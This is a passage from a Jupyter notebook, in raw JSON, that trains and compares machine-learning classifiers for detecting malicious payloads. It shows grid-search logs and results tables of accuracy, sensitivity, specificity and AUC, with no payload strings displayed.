    "        print('Skipping ' + classifier_name + ', already trained')\n",
    "    else:\n",
    "        result_dict = train_model(inputs['pipeline'],inputs['dict_params'],X,Y)\n",
    "        classifier_results.loc[classifier_name] = result_dict\n",
    "\n",
    "display(classifier_results)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 74,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "display(pd.DataFrame(payloads['payload'].copy()))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Use our custom feature space, \n",
    "and train every classifier in classifier_inputs_custom with\n",
    "\n",
    "### P.S! Don't try to run this, it will take many hours to complete  \n",
    "### Instead skip to Step4B"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Fitting 5 folds for each of 10 candidates, totalling 50 fits\n",
      "[CV] n_estimators=20, learning_rate=0.5 ..............................\n",
      "[CV]  n_estimators=20, learning_rate=0.5, score=0.898862, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.5 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   1 out of   1 | elapsed:    0.7s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.5, score=0.891283, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.5 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   2 out of   2 | elapsed:    1.5s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.5, score=0.904625, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.5 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   3 out of   3 | elapsed:    2.2s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.5, score=0.898606, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.5 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   4 out of   4 | elapsed:    2.9s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.5, score=0.888889, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.1 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   5 out of   5 | elapsed:    3.6s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.1, score=0.833927, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.1 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   6 out of   6 | elapsed:    4.3s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.1, score=0.847612, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.1 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   7 out of   7 | elapsed:    5.0s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.1, score=0.843906, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.1 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   8 out of   8 | elapsed:    5.7s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.1, score=0.845081, total=   0.5s\n",
      "[CV] n_estimators=20, learning_rate=0.1 ..............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "[Parallel(n_jobs=1)]: Done   9 out of   9 | elapsed:    6.4s remaining:    0.0s\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=20, learning_rate=0.1, score=0.838941, total=   0.5s\n",
      "[CV] n_estimators=100, learning_rate=0.5 .............................\n",
      "[CV]  n_estimators=100, learning_rate=0.5, score=0.925008, total=   2.6s\n",
      "[CV] n_estimators=100, learning_rate=0.5 .............................\n",
      "[CV]  n_estimators=100, learning_rate=0.5, score=0.930277, total=   2.5s\n",
      "[CV] n_estimators=100, learning_rate=0.5 .............................\n",
      "[CV]  n_estimators=100, learning_rate=0.5, score=0.926641, total=   2.5s\n",
      "[CV] n_estimators=100, learning_rate=0.5 .............................\n",
      "[CV]  n_estimators=100, learning_rate=0.5, score=0.920789, total=   2.6s\n",
      "[CV] n_estimators=100, learning_rate=0.5 .............................\n",
      "[CV]  n_estimators=100, learning_rate=0.5, score=0.920513, total=   2.8s\n",
      "[CV] n_estimators=50, learning_rate=0.1 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=0.1, score=0.869766, total=   1.3s\n",
      "[CV] n_estimators=50, learning_rate=0.1 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=0.1, score=0.879316, total=   1.4s\n",
      "[CV] n_estimators=50, learning_rate=0.1 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=0.1, score=0.885705, total=   1.4s\n",
      "[CV] n_estimators=50, learning_rate=0.1 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=0.1, score=0.870087, total=   1.5s\n",
      "[CV] n_estimators=50, learning_rate=0.1 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=0.1, score=0.871812, total=   1.5s\n",
      "[CV] n_estimators=50, learning_rate=1.0 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=1.0, score=0.920308, total=   1.4s\n",
      "[CV] n_estimators=50, learning_rate=1.0 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=1.0, score=0.928096, total=   1.3s\n",
      "[CV] n_estimators=50, learning_rate=1.0 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=1.0, score=0.922732, total=   1.3s\n",
      "[CV] n_estimators=50, learning_rate=1.0 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=1.0, score=0.920462, total=   1.4s\n",
      "[CV] n_estimators=50, learning_rate=1.0 ..............................\n",
      "[CV]  n_estimators=50, learning_rate=1.0, score=0.924116, total=   1.4s\n",
      "[CV] n_estimators=100, learning_rate=2.0 .............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "/chalmers/users/oskhol/anaconda3/lib/python3.6/site-packages/sklearn/metrics/classification.py:1113: UndefinedMetricWarning: F-score is ill-defined and being set to 0.0 due to no predicted samples.\n",
      "  'precision', 'predicted', average, warn_for)\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=100, learning_rate=2.0, score=0.000000, total=   2.5s\n",
      "[CV] n_estimators=100, learning_rate=2.0 .............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "/chalmers/users/oskhol/anaconda3/lib/python3.6/site-packages/sklearn/metrics/classification.py:1113: UndefinedMetricWarning: F-score is ill-defined and being set to 0.0 due to no predicted samples.\n",
      "  'precision', 'predicted', average, warn_for)\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=100, learning_rate=2.0, score=0.000000, total=   2.5s\n",
      "[CV] n_estimators=100, learning_rate=2.0 .............................\n",
      "[CV]  n_estimators=100, learning_rate=2.0, score=0.846528, total=   2.8s\n",
      "[CV] n_estimators=100, learning_rate=2.0 .............................\n",
      "[CV]  n_estimators=100, learning_rate=2.0, score=0.847387, total=   2.6s\n",
      "[CV] n_estimators=100, learning_rate=2.0 .............................\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "/chalmers/users/oskhol/anaconda3/lib/python3.6/site-packages/sklearn/metrics/classification.py:1113: UndefinedMetricWarning: F-score is ill-defined and being set to 0.0 due to no predicted samples.\n",
      "  'precision', 'predicted', average, warn_for)\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[CV]  n_estimators=100, learning_rate=2.0, score=0.000000, total=   2.5s\n",
      "[CV] n_estimators=100, learning_rate=1.0 .............................\n"
     ]
    }
   ],
   "source": [
    "classifier_inputs_custom = {}\n",
    "\n",
    "#Get classifiers and parameters to optimize\n",
    "classifier_inputs_custom.update(create_classifier_inputs('custom'))\n",
    "\n",
    "#Extract payloads and labels\n",
    "Y = payloads['is_malicious']\n",
    "X = create_features(pd.DataFrame(payloads['payload'].copy()))\n",
    "\n",
    "#Select the best features\n",
    "X_new = SelectKBest(score_func=chi2, k=4).fit_transform(X,Y)\n",
    "\n",
    "#Call train_model for every classifier and save results to classifier_results\n",
    "for classifier_name, inputs in classifier_inputs_custom.items():\n",
    "    if classifier_name in classifier_results.index.values.tolist():\n",
    "        print('Skipping ' + classifier_name + ', already trained')\n",
    "    else:\n",
    "        result_dict = train_model(inputs['pipeline'],inputs['dict_params'],X,Y)\n",
    "        classifier_results.loc[classifier_name] = result_dict\n",
    "\n",
    "display(classifier_results)\n",
    "\n",
    "#pickle.dump( classifier_results, open( \"data/trained_classifiers_custom_all_features.p\", \"wb\" ) )"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "#Save classifiers in a pickle file to be able to re-use them without re-training\n",
    "pickle.dump( classifier_results, open( \"data/trained_classifiers.p\", \"wb\" ) )"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Classifier results"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>accuracy</th>\n",
       "      <th>sensitivity</th>\n",
       "      <th>specificity</th>\n",
       "      <th>auc</th>\n",
       "      <th>conf_matrix</th>\n",
       "      <th>params</th>\n",
       "      <th>model</th>\n",
       "      <th>roc</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>custom RandomForest</th>\n",
       "      <td>0.996874</td>\n",
       "      <td>0.978139</td>\n",
       "      <td>0.998707</td>\n",
       "      <td>0.998571</td>\n",
       "      <td>[[20079, 26], [43, 1924]]</td>\n",
       "      <td>{'n_estimators': 40}</td>\n",
       "      <td>(DecisionTreeClassifier(class_weight=None, cri...</td>\n",
       "      <td>{'tpr': [0.739705134723, 0.828164717844, 0.865...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom AdaBoostClassifier</th>\n",
       "      <td>0.98967</td>\n",
       "      <td>0.930351</td>\n",
       "      <td>0.995474</td>\n",
       "      <td>0.997814</td>\n",
       "      <td>[[20014, 91], [137, 1830]]</td>\n",
       "      <td>{'n_estimators': 100, 'learning_rate': 1.0}</td>\n",
       "      <td>(DecisionTreeClassifier(class_weight=None, cri...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00254194204372, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom SGD</th>\n",
       "      <td>0.981606</td>\n",
       "      <td>0.877478</td>\n",
       "      <td>0.991793</td>\n",
       "      <td>0.984595</td>\n",
       "      <td>[[19940, 165], [241, 1726]]</td>\n",
       "      <td>{'learning_rate': 'optimal'}</td>\n",
       "      <td>SGDClassifier(alpha=0.0001, average=False, cla...</td>\n",
       "      <td>{'tpr': [0.0, 0.858668022369, 0.859176410778, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom DecisionTree</th>\n",
       "      <td>0.9889</td>\n",
       "      <td>0.89578</td>\n",
       "      <td>0.99801</td>\n",
       "      <td>0.990906</td>\n",
       "      <td>[[20065, 40], [205, 1762]]</td>\n",
       "      <td>{'min_samples_split': 2}</td>\n",
       "      <td>DecisionTreeClassifier(class_weight=None, crit...</td>\n",
       "      <td>{'tpr': [0.0, 0.0818505338078, 0.76105744789, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom MLPClassifier</th>\n",
       "      <td>0.992796</td>\n",
       "      <td>0.954753</td>\n",
       "      <td>0.996518</td>\n",
       "      <td>0.997632</td>\n",
       "      <td>[[20035, 70], [89, 1878]]</td>\n",
       "      <td>{'hidden_layer_sizes': (300, 200, 150, 150), '...</td>\n",
       "      <td>MLPClassifier(activation='relu', alpha=0.01, b...</td>\n",
       "      <td>{'tpr': [0.00559227249619, 0.00711743772242, 0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom Logistic</th>\n",
       "      <td>0.98446</td>\n",
       "      <td>0.862227</td>\n",
       "      <td>0.996419</td>\n",
       "      <td>0.990221</td>\n",
       "      <td>[[20033, 72], [271, 1696]]</td>\n",
       "      <td>{'C': 100}</td>\n",
       "      <td>LogisticRegression(C=100, class_weight=None, d...</td>\n",
       "      <td>{'tpr': [0.0111845449924, 0.0116929334011, 0.0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom MultinomialNB</th>\n",
       "      <td>0.924339</td>\n",
       "      <td>0.916116</td>\n",
       "      <td>0.925143</td>\n",
       "      <td>0.971266</td>\n",
       "      <td>[[18600, 1505], [165, 1802]]</td>\n",
       "      <td>{'alpha': 1.0}</td>\n",
       "      <td>MultinomialNB(alpha=1.0, class_prior=None, fit...</td>\n",
       "      <td>{'tpr': [0.0, 0.828673106253, 0.829689883071, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom SVM</th>\n",
       "      <td>0.99411</td>\n",
       "      <td>0.985257</td>\n",
       "      <td>0.994976</td>\n",
       "      <td>0.997742</td>\n",
       "      <td>[[20004, 101], [29, 1938]]</td>\n",
       "      <td>{'C': 100, 'kernel': 'rbf', 'gamma': 'auto'}</td>\n",
       "      <td>SVC(C=100, cache_size=200, class_weight=None, ...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00711743772242, ...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                           accuracy sensitivity specificity       auc  \\\n",
       "custom RandomForest        0.996874    0.978139    0.998707  0.998571   \n",
       "custom AdaBoostClassifier   0.98967    0.930351    0.995474  0.997814   \n",
       "custom SGD                 0.981606    0.877478    0.991793  0.984595   \n",
       "custom DecisionTree          0.9889     0.89578     0.99801  0.990906   \n",
       "custom MLPClassifier       0.992796    0.954753    0.996518  0.997632   \n",
       "custom Logistic             0.98446    0.862227    0.996419  0.990221   \n",
       "custom MultinomialNB       0.924339    0.916116    0.925143  0.971266   \n",
       "custom SVM                  0.99411    0.985257    0.994976  0.997742   \n",
       "\n",
       "                                            conf_matrix  \\\n",
       "custom RandomForest           [[20079, 26], [43, 1924]]   \n",
       "custom AdaBoostClassifier    [[20014, 91], [137, 1830]]   \n",
       "custom SGD                  [[19940, 165], [241, 1726]]   \n",
       "custom DecisionTree          [[20065, 40], [205, 1762]]   \n",
       "custom MLPClassifier          [[20035, 70], [89, 1878]]   \n",
       "custom Logistic              [[20033, 72], [271, 1696]]   \n",
       "custom MultinomialNB       [[18600, 1505], [165, 1802]]   \n",
       "custom SVM                   [[20004, 101], [29, 1938]]   \n",
       "\n",
       "                                                                      params  \\\n",
       "custom RandomForest                                     {'n_estimators': 40}   \n",
       "custom AdaBoostClassifier        {'n_estimators': 100, 'learning_rate': 1.0}   \n",
       "custom SGD                                      {'learning_rate': 'optimal'}   \n",
       "custom DecisionTree                                 {'min_samples_split': 2}   \n",
       "custom MLPClassifier       {'hidden_layer_sizes': (300, 200, 150, 150), '...   \n",
       "custom Logistic                                                   {'C': 100}   \n",
       "custom MultinomialNB                                          {'alpha': 1.0}   \n",
       "custom SVM                      {'C': 100, 'kernel': 'rbf', 'gamma': 'auto'}   \n",
       "\n",
       "                                                                       model  \\\n",
       "custom RandomForest        (DecisionTreeClassifier(class_weight=None, cri...   \n",
       "custom AdaBoostClassifier  (DecisionTreeClassifier(class_weight=None, cri...   \n",
       "custom SGD                 SGDClassifier(alpha=0.0001, average=False, cla...   \n",
       "custom DecisionTree        DecisionTreeClassifier(class_weight=None, crit...   \n",
       "custom MLPClassifier       MLPClassifier(activation='relu', alpha=0.01, b...   \n",
       "custom Logistic            LogisticRegression(C=100, class_weight=None, d...   \n",
       "custom MultinomialNB       MultinomialNB(alpha=1.0, class_prior=None, fit...   \n",
       "custom SVM                 SVC(C=100, cache_size=200, class_weight=None, ...   \n",
       "\n",
       "                                                                         roc  \n",
       "custom RandomForest        {'tpr': [0.739705134723, 0.828164717844, 0.865...  \n",
       "custom AdaBoostClassifier  {'tpr': [0.000508388408744, 0.00254194204372, ...  \n",
       "custom SGD                 {'tpr': [0.0, 0.858668022369, 0.859176410778, ...  \n",
       "custom DecisionTree        {'tpr': [0.0, 0.0818505338078, 0.76105744789, ...  \n",
       "custom MLPClassifier       {'tpr': [0.00559227249619, 0.00711743772242, 0...  \n",
       "custom Logistic            {'tpr': [0.0111845449924, 0.0116929334011, 0.0...  \n",
       "custom MultinomialNB       {'tpr': [0.0, 0.828673106253, 0.829689883071, ...  \n",
       "custom SVM                 {'tpr': [0.000508388408744, 0.00711743772242, ...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "#Display the results for the classifiers that were trained using our custom feature space\n",
    "custom_features_classifiers = pickle.load( open(\"data/trained_classifier_custom_all_features.p\", \"rb\"))\n",
    "display(custom_features_classifiers)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>accuracy</th>\n",
       "      <th>sensitivity</th>\n",
       "      <th>specificity</th>\n",
       "      <th>auc</th>\n",
       "      <th>conf_matrix</th>\n",
       "      <th>params</th>\n",
       "      <th>model</th>\n",
       "      <th>roc</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams MultinomialNB</th>\n",
       "      <td>0.991075</td>\n",
       "      <td>0.927300</td>\n",
       "      <td>0.997314</td>\n",
       "      <td>0.992670</td>\n",
       "      <td>[[20051, 54], [143, 1824]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.0345704117946, 0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams SVM</th>\n",
       "      <td>0.994246</td>\n",
       "      <td>0.949161</td>\n",
       "      <td>0.998657</td>\n",
       "      <td>0.996409</td>\n",
       "      <td>[[20078, 27], [100, 1867]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.436197254703, 0.472801220132, 0.473...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams MultinomialNB</th>\n",
       "      <td>0.993567</td>\n",
       "      <td>0.981698</td>\n",
       "      <td>0.994728</td>\n",
       "      <td>0.997707</td>\n",
       "      <td>[[19999, 106], [36, 1931]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.881545500763, 0.883579054398, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams Logistic</th>\n",
       "      <td>0.997146</td>\n",
       "      <td>0.970513</td>\n",
       "      <td>0.999751</td>\n",
       "      <td>0.998100</td>\n",
       "      <td>[[20100, 5], [58, 1909]]</td>\n",
       "      <td>{'clf__C': 10, 'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.162175902389, 0.173360447382, 0.179...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams RandomForest</th>\n",
       "      <td>0.998324</td>\n",
       "      <td>0.992883</td>\n",
       "      <td>0.998856</td>\n",
       "      <td>0.999167</td>\n",
       "      <td>[[20082, 23], [14, 1953]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 40}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.76105744789, 0.861209964413, 0.8998...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams RandomForest</th>\n",
       "      <td>0.997553</td>\n",
       "      <td>0.975089</td>\n",
       "      <td>0.999751</td>\n",
       "      <td>0.999082</td>\n",
       "      <td>[[20100, 5], [49, 1918]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 5}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.693441789527, 0.694966954753, 0.782...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams RandomForest</th>\n",
       "      <td>0.998414</td>\n",
       "      <td>0.988307</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.999120</td>\n",
       "      <td>[[20093, 12], [23, 1944]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.683274021352, 0.683782409761, 0.801...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams Logistic</th>\n",
       "      <td>0.997735</td>\n",
       "      <td>0.977631</td>\n",
       "      <td>0.999702</td>\n",
       "      <td>0.999575</td>\n",
       "      <td>[[20099, 6], [44, 1923]]</td>\n",
       "      <td>{'clf__C': 1000, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00152516522623, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams RandomForest</th>\n",
       "      <td>0.998414</td>\n",
       "      <td>0.989832</td>\n",
       "      <td>0.999254</td>\n",
       "      <td>0.999426</td>\n",
       "      <td>[[20090, 15], [20, 1947]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.734112862227, 0.840874428063, 0.887...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams MultinomialNB</th>\n",
       "      <td>0.996058</td>\n",
       "      <td>0.976614</td>\n",
       "      <td>0.997961</td>\n",
       "      <td>0.999112</td>\n",
       "      <td>[[20064, 41], [46, 1921]]</td>\n",
       "      <td>{'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00203355363498, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams Logistic</th>\n",
       "      <td>0.998142</td>\n",
       "      <td>0.985257</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.999489</td>\n",
       "      <td>[[20093, 12], [29, 1938]]</td>\n",
       "      <td>{'clf__C': 1000, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0279613624809, 0.0391459074733, 0.0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams RandomForest</th>\n",
       "      <td>0.998596</td>\n",
       "      <td>0.988307</td>\n",
       "      <td>0.999602</td>\n",
       "      <td>0.999375</td>\n",
       "      <td>[[20097, 8], [23, 1944]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 5}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.687341128622, 0.687849517031, 0.795...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams SVM</th>\n",
       "      <td>0.997327</td>\n",
       "      <td>0.980173</td>\n",
       "      <td>0.999005</td>\n",
       "      <td>0.997913</td>\n",
       "      <td>[[20085, 20], [39, 1928]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.821555668531, 0.833248601932, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams SVM</th>\n",
       "      <td>0.994971</td>\n",
       "      <td>0.947128</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.998131</td>\n",
       "      <td>[[20098, 7], [104, 1863]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.630910015252, 0.631926792069, 0.634...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams Logistic</th>\n",
       "      <td>0.996375</td>\n",
       "      <td>0.963396</td>\n",
       "      <td>0.999602</td>\n",
       "      <td>0.996902</td>\n",
       "      <td>[[20097, 8], [72, 1895]]</td>\n",
       "      <td>{'clf__C': 10, 'vect__min_df': 40}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.644128113879, 0.659379766141, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams SVM</th>\n",
       "      <td>0.996693</td>\n",
       "      <td>0.967463</td>\n",
       "      <td>0.999552</td>\n",
       "      <td>0.999090</td>\n",
       "      <td>[[20096, 9], [64, 1903]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.57905439756, 0.584646670056, 0.5856...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams Logistic</th>\n",
       "      <td>0.996104</td>\n",
       "      <td>0.967463</td>\n",
       "      <td>0.998906</td>\n",
       "      <td>0.998022</td>\n",
       "      <td>[[20083, 22], [64, 1903]]</td>\n",
       "      <td>{'clf__C': 1000, 'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.654804270463, 0.667513980681, 0.671...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams MultinomialNB</th>\n",
       "      <td>0.995651</td>\n",
       "      <td>0.968988</td>\n",
       "      <td>0.998259</td>\n",
       "      <td>0.997980</td>\n",
       "      <td>[[20070, 35], [61, 1906]]</td>\n",
       "      <td>{'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.000508388408744, 0.00711743772242, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams RandomForest</th>\n",
       "      <td>0.997191</td>\n",
       "      <td>0.972039</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.999070</td>\n",
       "      <td>[[20098, 7], [55, 1912]]</td>\n",
       "      <td>{'clf__n_estimators': 60, 'vect__min_df': 5}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.689374682257, 0.690391459075, 0.786...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams SVM</th>\n",
       "      <td>0.996693</td>\n",
       "      <td>0.968988</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.997568</td>\n",
       "      <td>[[20093, 12], [61, 1906]]</td>\n",
       "      <td>{'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.722419928826, 0.724961870869, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams MultinomialNB</th>\n",
       "      <td>0.994110</td>\n",
       "      <td>0.978139</td>\n",
       "      <td>0.995673</td>\n",
       "      <td>0.989279</td>\n",
       "      <td>[[20018, 87], [43, 1924]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'tpr': [0.0, 0.868835790544, 0.869344178953, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams SVM</th>\n",
